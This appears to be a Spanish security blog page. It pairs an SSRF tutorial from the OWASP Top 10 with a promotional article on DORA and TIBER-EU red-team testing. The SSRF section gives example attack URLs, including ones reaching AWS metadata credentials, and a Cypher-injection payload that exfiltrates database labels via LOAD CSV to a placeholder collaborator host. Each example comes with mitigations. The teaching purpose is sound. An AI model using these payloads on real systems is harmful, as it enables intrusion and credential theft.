A10:2021 – Server-Side Request Forgery (SSRF)

Descripción

El ataque 'Server-Side Request Forgery' (SSRF) es un tipo de ataque en el que un atacante abusa de la funcionalidad de un servidor para realizar solicitudes HTTP a recursos internos o externos no autorizados. En esencia, se engaña al servidor para que realice acciones no deseadas en nombre del atacante.

Impacto

Este tipo de ataque puede tener graves consecuencias para la seguridad de una aplicación web y la infraestructura subyacente. Algunos de los impactos potenciales incluyen:

• Acceso no autorizado a recursos internos: El atacante puede acceder a sistemas y datos que normalmente están protegidos por firewalls o restricciones de red. 

• Evasión de controles de seguridad: SSRF puede permitir a los atacantes eludir medidas de seguridad como firewalls y listas de control de acceso. 

• Exfiltración de datos sensibles: Los atacantes pueden utilizar SSRF para extraer información confidencial de sistemas internos. 

• Escaneo de puertos internos: SSRF puede ser utilizado para mapear la red interna y descubrir servicios vulnerables. 

• Ejecución de código remoto: En casos extremos, SSRF puede llevar a la ejecución de código arbitrario en el servidor comprometido. 

Dada la gravedad de estos impactos, es crucial que los desarrolladores implementen medidas de seguridad robustas para prevenir y mitigar los ataques SSRF en sus aplicaciones web.

Ejemplos Prácticos

1. Acceso a servicios internos

Esto puede permitir al atacante acceder a sistemas y datos normalmente protegidos por firewalls o restricciones de red, como bases de datos internas o paneles de administración.

http://vulnerable-app.com/fetch?url=http://localhost:8080/admin

En este ejemplo, si la aplicación no valida adecuadamente la URL proporcionada, podría realizar una solicitud al panel de administración interno en el puerto 8080.

Resumen

• Detectar alguna consulta que realice alguna petición a un recurso externo mediante HTTP. 

• Modificar la petición para que el servidor web realice una petición a la interfaz loopback y así acceder a funciones o servicios no publicadas al exterior. 

Ejemplo

Tras analizar el funcionamiento de la página web auditada, se puede observar que se realizan peticiones a recursos externos mediante HTTP.

Una vez identificado este posible vector de ataque, se procede a realizar una primera prueba de reconocimiento para conocer si se pueden realizar peticiones a la interfaz loopback.

Tras validar que se puede realizar un ataque de SSRF mediante este vector, se procura acceder a funciones limitadas desde el exterior como, en este ejemplo, eliminar un usuario de la aplicación.

Mitigaciones

Para prevenir los riesgos asociados con este tipo de ataques, se recomienda:

• Validar y sanitizar todas las entradas de usuario, especialmente las URLs. 

• Implementar listas blancas de dominios y direcciones IP permitidas. 

• Utilizar firewalls de aplicaciones web (WAF) para filtrar solicitudes maliciosas. 

• Configurar correctamente los firewalls de red para limitar el acceso a recursos internos. 

• Implementar el principio de mínimo privilegio en los servidores y servicios. 

• Usar VPNs o redes privadas virtuales para aislar recursos críticos. 

• Deshabilitar redirecciones HTTP cuando no sean necesarias. 

• Implementar autenticación y autorización robustas para todos los endpoints internos. 

• Utilizar DNS interno para resolver nombres de host, evitando el uso de direcciones IP directas. 

• Monitorear y registrar todas las solicitudes de red para detectar patrones sospechosos. 

2. Escaneo de puertos internos

Este proceso implica enviar solicitudes a diferentes puertos en las direcciones IP internas, analizando las respuestas para determinar qué puertos están abiertos y qué servicios están ejecutándose. Con esta información, el atacante podría identificar objetivos potenciales para futuros ataques, como servidores de bases de datos, paneles de administración o sistemas vulnerables que normalmente no serían accesibles desde el exterior.

http://vulnerable-app.com/fetch?url=http://127.0.0.1:22

En este ejemplo, si el puerto 22 (SSH) está abierto, la respuesta podría ser diferente a si estuviera cerrado, permitiendo al atacante mapear servicios de la red interna.

Resumen

• Detectar alguna consulta que realice alguna petición a un recurso externo mediante HTTP. 

• Modificar la petición para que el servidor web realice una petición a direcciones IP y puertos internos que no se encuentran expuestos al exterior. 

• Observar respuestas diferentes por el servidor para poder discernir cuando existe una dirección IP con algún puerto abierto de cuando no. 

Ejemplo

Tras detectar un posible vector de ataque con esta técnica, se intenta identificar posibles rangos de red privados a los que se pueda tener acceso desde el servidor. Para ello se hará uso del módulo de intruder para iterar los valores numéricos de las direcciones IP.

Tal y como se puede observar en las capturas, ha sido posible acceder a servidores y recursos internos mediante la explotación de la vulnerabilidad de SSRF.

Mitigaciones

Para prevenir y mitigar los ataques SSRF destinados al escaneo de direcciones IP y puertos internos, se recomienda implementar las siguientes medidas:

• Implementar listas blancas de direcciones IP y rangos permitidos para las solicitudes internas. 

• Utilizar firewalls de aplicaciones web (WAF) configurados para detectar y bloquear patrones de solicitudes sospechosas. 

• Segmentar la red interna para limitar el alcance de posibles escaneos. 

• Implementar el principio de mínimo privilegio en los servidores y servicios internos. 

• Utilizar autenticación y autorización robustas para todos los endpoints internos. 

• Monitorear y registrar todas las solicitudes de red para detectar patrones de escaneo. 

• Implementar rate limiting para prevenir escaneos rápidos y automatizados. 

• Utilizar Virtual Private Cloud (VPC) en entornos cloud para aislar recursos críticos. 

• Configurar correctamente los grupos de seguridad y las listas de control de acceso (ACL) en la red. 

• Educar a los desarrolladores sobre las mejores prácticas de seguridad y los riesgos asociados con SSRF.

3. Acceso a metadatos en entornos cloud

En entornos cloud, como Amazon Web Services (AWS), los atacantes pueden aprovechar las vulnerabilidades de Server-Side Request Forgery (SSRF) para intentar acceder a los metadatos de la instancia. Estos metadatos contienen información crucial sobre la configuración y el estado de la instancia en ejecución. Un ejemplo de cómo un atacante podría intentar explotar esta vulnerabilidad es mediante la siguiente URL:

http://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/

Si la aplicación vulnerable procesa esta solicitud sin las debidas precauciones, podría inadvertidamente revelar información altamente sensible. Esta información podría incluir:

• Credenciales temporales de AWS 

• Roles de IAM asociados con la instancia

• Datos de configuración de red 

• Scripts de inicialización personalizados 

La exposición de estos metadatos podría tener graves consecuencias para la seguridad de la infraestructura en la nube, potencialmente permitiendo a los atacantes escalar sus privilegios, moverse lateralmente dentro de la red, o incluso comprometer completamente el entorno de AWS. Por lo tanto, es crucial implementar medidas de seguridad robustas para prevenir este tipo de acceso no autorizado a los metadatos de las instancias en la nube.

Resumen

• Detectar alguna consulta que realice alguna petición a un recurso externo mediante HTTP. 

• Modificar la petición original para que el servidor web realice una petición a recursos de servidores en cloud que puedan estar limitados mediante WhiteList para que solo pueda acceder el servidor. 

• Observar respuestas diferentes por el servidor para poder discernir cuando ha sido posible acceder a recursos almacenados en Cloud y cuando no.

Ejemplo

Escenario

Una aplicación web permite a los usuarios ingresar una URL para obtener información sobre un sitio web. La aplicación realiza una solicitud GET a la URL proporcionada y muestra el resultado. Sin embargo, la aplicación no valida adecuadamente la entrada del usuario.

Pasos de la explotación

1. El atacante descubre que la aplicación está alojada en Amazon Web Services (AWS). 
2. El atacante ingresa la siguiente URL en el campo de entrada de la aplicación: http://169.254.169.254/latest/meta-data/ 
3. La aplicación realiza una solicitud a esta dirección IP interna de AWS, que es el endpoint de metadatos de instancias EC2. 
4. Como resultado, la aplicación devuelve información sensible sobre la instancia EC2, como: 

1. ID de instancia 

2. Región 

3. Nombre de host interno 

4. Dirección MAC 

5.El atacante puede profundizar más utilizando rutas específicas, como: http://169.254.169.254/latest/meta-data/iam/security-credentials/ para obtener las credenciales de seguridad temporales del rol IAM asociado a la instancia. 

Mitigación

Para prevenir este tipo de ataques SSRF:

• Implementar una lista blanca de URLs permitidas 

• Utilizar un proxy inverso para las solicitudes salientes 

• Configurar firewalls para bloquear el tráfico a direcciones IP internas 

• Implementar el principio de mínimo privilegio en los roles IAM 

• Utilizar IMDSv2 (Instance Metadata Service version 2) que requiere tokens de sesión 

4. Exfiltración de información (Cypher injection)

En este apartado se explicará cómo es posible exfiltrar datos mediante técnicas de Server-Side Request Forgery, tras una inyectar código malicioso en las consultas realizadas a la base de datos de Neo4j.

Neo4j es una base de datos de grafos de código abierto. Se utiliza para almacenar y consultar datos altamente interconectados, representando la información como nodos, relaciones y propiedades en una estructura de grafo, lo que permite realizar consultas complejas y análisis de datos de manera eficiente.

Resumen

• Detectar alguna consulta mediante la cual sea posible inyectar código en las consultas realizadas a la base de datos. 

• Realizar consultas a la base de datos para obtener información almacenada en la misma. 

• Exfiltrar la información obtenida mediante la función de carga de CSV por HTTP, realizando así una técnica de SSRF.

Ejemplo

Tras analizar las diferentes peticiones realizadas en la aplicación web, y detectar alguna vulnerable a inyecciones, se procede a realizar consultas a la base de datos y exfiltrarlas. Un ejemplo de payload sería:

.*' | o ] AS OriginalRequest CALL db.labels() YIELD data LOAD CSV FROM 'http://<burp-collaborator-url>/' + data AS r //

A continuación, se procederá a explicar cada parte del payload:

.*' | o ] AS OriginalRequest

Esta primera parte del código cierra la consulta original de forma correcta y permite concatenar la consulta que quiere realizar el atacante.

CALL db.labels() YIELD data

La cláusula CALL se emplea para ejecutar una subconsulta. En este caso, invoca a db.labels(), un procedimiento incorporado que proporciona una lista de todas las etiquetas presentes en la base de datos. Por su parte, la cláusula YIELD guarda la lista resultante en la variable "data".

LOAD CSV FROM 'http://<burp-collaborator-url>/' + data AS r //

LOAD CSV es una sentencia que carga un archivo CSV desde una ubicación definida por el usuario mediante la palabra clave FROM. En este caso, LOAD CSV realiza una solicitud a un servidor web habilitado mediante la funcionalidad de Burp collaborator, añadiendo un elemento de la lista "data" en cada iteración. 

Como resultado, se envían múltiples peticiones a al cliente de Burp collaborator, cada una con diferentes nombres de etiqueta anexados al final de la solicitud. 

La parte final 'AS r' se incluye porque la consulta falla constantemente sin ella; simplemente carga el archivo CSV como "r". 

Las dos barras diagonales finales '//' se utilizan para comentar el resto de la consulta en la misma línea.

Mitigación

En este caso no existe una corrección para evitar la exfiltración de datos mediante la función de LOAD CSV. Las mitigaciones parten directamente de evitar la posibilidad de realizar los ataques de tipo Cypher injection. Para ello se recomienda:

• Usar parámetros: Prevenir la inyección de Cypher utilizando parámetros en lugar de concatenar directamente la entrada del usuario en las consultas. 

• Parametrizar consultas: Compilar las consultas en planes ejecutables que no puedan ser modificados por los datos de los parámetros. 

• Usar procedimientos APOC de forma segura: Al utilizar APOC, continuar pasando parámetros para evitar vulnerabilidades de concatenación de cadenas. 

• Sanitizar entradas: Cuando la parametrización no es posible (por ejemplo, para etiquetas de nodos), sanitizar las entradas del usuario escapando caracteres especiales. 

• Evitar devolver errores de base de datos: Usar mensajes de error genéricos para prevenir la divulgación de información a través de inyección basada en errores. 

• Implementar escape adecuado: Utilizar secuencias de escape apropiadas para diferentes tipos de Cypher (literales de cadena, identificadores). 

• Validar entradas: Comprobar las entradas del usuario contra criterios específicos, pero tener en cuenta las posibles técnicas de bypass. 

• Tener cuidado con las inyecciones de segundo orden: Continuar sanitizando los datos almacenados cuando se utilicen en consultas posteriores. 

• Aplicar el principio de mínimo privilegio: Utilizar control de acceso basado en roles para limitar el impacto potencial de inyecciones exitosas. 

• Manejar cuidadosamente las importaciones de datos: Ser consciente de las vulnerabilidades potenciales al importar datos de fuentes externas como archivos CSV. 

Zerolynx: referencia en Tests TLPT - Red Team para el sector financiero

La regulación DORA (Digital Operational Resilience Act), adoptada por la Unión Europea, establece un marco normativo para fortalecer la resiliencia operativa digital de las entidades financieras, entendiendo por entidades financieras no solo a los bancos, sino también a las aseguradoras, fondos de inversión, compañías de criptoactivos y un sinfín de proveedores de servicios financieros de distinta índole. Este reglamento busca garantizar que las instituciones del sector financiero puedan resistir, responder y recuperarse de cualquier tipo de ciberincidente y otras disrupciones tecnológicas. En un entorno donde la dependencia de la tecnología es crucial, DORA se convierte en un pilar fundamental para proteger la estabilidad del sistema financiero europeo y la confianza de los clientes.

Uno de los elementos clave de DORA es la exigencia de realizar Pruebas Avanzadas de Penetración Dirigidas por Amenazas, conocidas como TLPT (Threat Led Penetration Testing). Estos ejercicios permiten a las entidades financieras evaluar su capacidad para detectar, responder y mitigar ciberataques avanzados simulados bajo condiciones realistas. La naturaleza dirigida por amenazas de estos ejercicios asegura que las pruebas sean relevantes y específicas a los riesgos a los que está expuesta cada organización.

La implementación de los ejercicios TLPT no solo evalúa la preparación técnica, sino también la coordinación interna y la capacidad de respuesta ante crisis. Estos ejercicios son llevados a cabo por equipos de Red Team, que simulan ataques avanzados para identificar vulnerabilidades en los sistemas, procesos y personal de la organización. El objetivo es fortalecer la seguridad global de la entidad, mejorando tanto los controles tecnológicos como las estrategias de mitigación y recuperación. Y, como el propio BCE ya contaba con una metodología denominada Tiber-EU, traspuesta en muchos países como es el caso de España (Tiber-ES), que ya iba dirigida al entrenamiento de las entidades con ciberejercicios basados en banderas que emulaban TTPs, han decidido que sea este y no otro el framework de referencia en el que basarse.

En última instancia, la regulación DORA, junto con los ejercicios TLPT, representa un paso esencial hacia la protección integral del ecosistema financiero europeo. Al exigir pruebas rigurosas y prácticas sólidas de resiliencia, se fomenta una cultura de ciberseguridad proactiva y robusta que protege no solo a las instituciones, sino también a los clientes y a la economía en general frente a amenazas emergentes.

Ejercicios de Red Team bajo TIBER-EU

Desde que el 27 de diciembre de 2022 se publicase el Reglamento (UE) 2022/2554: Resiliencia Operativa Digital (DORA, Digital Operational Resilience Act), el framework Tiber-EU ha comenzado a verse como un compañero de viaje indispensable para las entidades financieras, quienes hasta ese momento la veían como una metodología voluntaria que, a modo de best practices, les facilitaba una vía repetible para poder medir si estaban haciendo bien los deberes. Si bien su origen es bastante anterior a DORA y se remonta a la propuesta británica de CBEST, y que luego empujó Países Bajos con su Tiber-NL, no ha sido hasta estos últimos años cuando se ha instaurado como un marco clave y de referencia, totalmente compatible con DORA y que probablemente verá en su próxima actualización un enfoque más alineado si cabe.

Y es que no cabe duda de que este 2024 ha sido fundamental para DORA, pues ha sido el año en el que ha sido publicado el mayor paquete RTS y era el último año antes del pistoletazo de salida del próximo 17 de enero de 2025, fecha que marca el fin del período de transición desde su entrada en vigor. Por ello, muchas entidades financieras ya han empezado a ponerse al día con la regulación, y han comenzado a entrenarse mediante ejercicios de TLPT realizados por compañías expertas en Ciberseguridad y Red Teaming. En este sentido Zerolynx ha sido una de las opciones preferentes, ya que ha sido la empresa que han elegido más de 10 entidades financieras para realizar sus ejercicios TLPT de este 2024, con el fin de anticiparse a lo que está por venir en este ya cercano 2025.

TLPT (Threat Led Penetration Testing)

A diferencia de las pruebas de penetración tradicionales, los TLPT se centran en emular ataques reales basados en las tácticas, técnicas y procedimientos (TTPs) de actores maliciosos específicos que representan una amenaza plausible. Este enfoque permite evaluar de manera más realista la capacidad de la organización para detectar, responder y mitigar ataques dirigidos, asegurando una protección efectiva contra amenazas avanzadas.

El principal objetivo del TLPT es medir la resiliencia de la organización frente a amenazas concretas. Esto incluye evaluar la eficacia de los sistemas de defensa para detectar y responder a ataques, identificar vulnerabilidades críticas en infraestructuras, aplicaciones y procesos, y validar la efectividad de los controles de seguridad existentes. Además, los TLPT ayudan a mejorar la preparación frente a ataques dirigidos, permitiendo a las organizaciones ajustar sus estrategias defensivas basándose en escenarios realistas que reflejan el panorama actual de amenazas.

Nota: recientemente el "White Team" ha pasado a denominarse "Control Team", en respuesta a la petición de uno de los países miembro. Por lo que es posible que veamos ambas terminologías durante algún tiempo mientras los documentos van siendo actualizados.

La metodología TLPT sigue un proceso estructurado que comienza con el reconocimiento y modelado de amenazas. En esta fase, que realiza el equipo de Threat Intel, se identifican actores maliciosos específicos que podrían atacar a la organización, como grupos de APTs, hacktivistas o cibercriminales de distinta índole. Con esta información, se diseña un plan de ataque que emula las tácticas y técnicas utilizadas por estos adversarios. Posteriormente, se lleva a cabo la ejecución del ataque, donde los especialistas en ciberseguridad del Red Team simulan intrusiones y evalúan la reacción de los sistemas y equipos de la organización. Finalizado el ataque, se realiza un análisis exhaustivo para identificar las vulnerabilidades explotadas, seguido de la entrega de un informe detallado con recomendaciones y medidas correctivas.

Los TLPT ofrecen múltiples beneficios para las organizaciones. Proporcionan una evaluación realista de la capacidad defensiva frente a amenazas específicas, adaptándose a riesgos concretos y mejorando la preparación frente a ataques avanzados. Asimismo, ayudan a cumplir con requisitos normativos que no solo aplican a la normativa DORA, por ejemplo, son una herramienta muy útil en el cumplimiento de la tambien reciente directiva NIS2. Además, fomentan una mejora continua, proporcionando una base sólida para fortalecer las defensas ante un entorno de amenazas en constante evolución.

En conclusión, los TLPT son una herramienta esencial para organizaciones que buscan proteger sus activos más críticos frente a amenazas avanzadas. Al enfocarse en escenarios reales, no solo mejoran la capacidad defensiva, sino que también promueven una cultura proactiva de seguridad y resiliencia, garantizando una respuesta eficaz ante cualquier eventualidad.

¿Por qué Zerolynx es una gran opción para realizar tus TLPTs?

Más allá de nuestra dilatada experiencia en la realización de ciberejercicios de Red Team, tanto bajo metodología Tiber-EU/ES, como sin seguir el citado framework, somos una de las pocas entidades que ha realizado TLPTs siguiendo las directrices oficiales. Es importante reseñar la necesidad de independencia de la entidad atacante (que no puede en ningún caso trabajar con la entidad en temas de ciberdefensa u operación), y la trasparencia y pulcritud de los procesos a seguir.

Zerolynx ha sido nombrada como la Mejor Empresa de Seguridad TIC 2024 por la Revista Red Seguridad, y tiene uno de los mejores equipos de hacking de nuestro país, con un equipo de pentesters certificado bajo los itinerarios más exigentes. Asimismo, sigue los procedimientos más exhaustivos en materia de ciberseguridad, cumpliendo con el ENS en su nivel Alto, NIS2, ISO 27001 y otras normas y regulaciones relacionadas con la calidad y la seguridad.

Zerolynx cuenta además con su propia infraestructura de Red Team, lo que garantiza la calidad y eficiencia del ejercicio TLPT.

La infraestructura consta de distintos redirectores y distintos firewalls que ocultan el origen real del servidor de Comando y Control, disponiendo de un entorno de pruebas con un equipo específico de desarrollo compaginado con operadores de Red Team sobre el que realizar artefactos y ataques, y de otro entorno de producción sobre el que ejecutar los ejercicios en curso.

Si quieres obtener más información sobre DORA, Tiber-EU/ES o los ciberejercicios TLPT, te dejamos algunas opciones:

• Durante 2024 hemos impartido diversas conferencias y talleres gratuitos. Uno de los más interesantes es el que impartimos Alejandro Auñón y un servidor, Juan Antonio Calles, en el congreso Osintomático 2024, en el que hablamos de los TLPT con bastante nivel de detalle.

• Otra sesión gratuita interesante es el Seminario sobre las regulaciones DORA y NIS2, que tenéis disponible en nuestro canal de YouTube: https://www.youtube.com/watch?v=t7ynsu2Xwkk. Este seminario lo hemos repetido en diversas versiones, por lo que es posible que nos hayáis visto en algún congreso recientemente.

• Otros artículos sobre DORA publicados en Flu Project, o en el blog de Zerolynx, pueden ser otras opciones interesantes para adquirir información actualizada.

• Este año tambien estamos realizando una campaña de formaciones sobre DORA, impartida por una de las personas referentes en la elaboración de esta regulación. Estas formaciones las realizamos bajo demanda, por lo que si tuvieses interés en que fuésemos a tu entidad a impartirlas, por favor, contacta con nuestro equipo comercial. Tenemos diferentes formatos, con sesiones más exprés de 1 hora dirigidas a la alta directiva, o sesiones más técnicas de 2h, 4h y 8h dirigidas a los equipos responsables de la implantación de DORA. Contacta con nosotros para obtener más información.

• Y, por supuesto, habla con nuestro equipo comercial y consúltanos como abordar este tipo de ciberejercicios TLPT en tu entidad, estaremos encantados de visitaros y contaros con detalle como trabajamos

¡Saludos!